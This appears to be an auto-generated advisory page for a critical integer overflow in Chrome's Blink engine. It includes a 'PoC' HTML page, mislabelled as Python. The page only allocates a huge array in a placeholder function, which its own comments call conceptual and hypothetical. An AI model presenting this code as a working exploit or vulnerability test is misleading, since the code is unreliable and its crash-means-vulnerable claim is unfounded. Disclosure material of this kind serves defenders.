Integer overflow in Blink in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7896 (Conceptual)
This HTML attempts to trigger the integer overflow in Blink.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7896 PoC</title>
</head>
<body>
<script>
// Simulating the trigger condition for integer overflow in Blink memory allocation
// This is a representation of the vector, actual exploitation requires precise memory layout.
try {
var vulnerableSize = 0x7FFFFFFF; // Large value potentially causing overflow
// Trigger the vulnerable code path (Hypothetical function call)
triggerOverflow(vulnerableSize);
} catch(e) {
console.log("Exception caught: " + e);
}
function triggerOverflow(size) {
// Placeholder for the actual vulnerability trigger logic
// In a real scenario, this would involve specific DOM manipulation or API calls
// that lead to the Blink integer overflow.
var arr = new Array(size);
}
</script>
<p>If the browser crashes or behaves unexpectedly, it might be vulnerable.</p>
</body>
</html>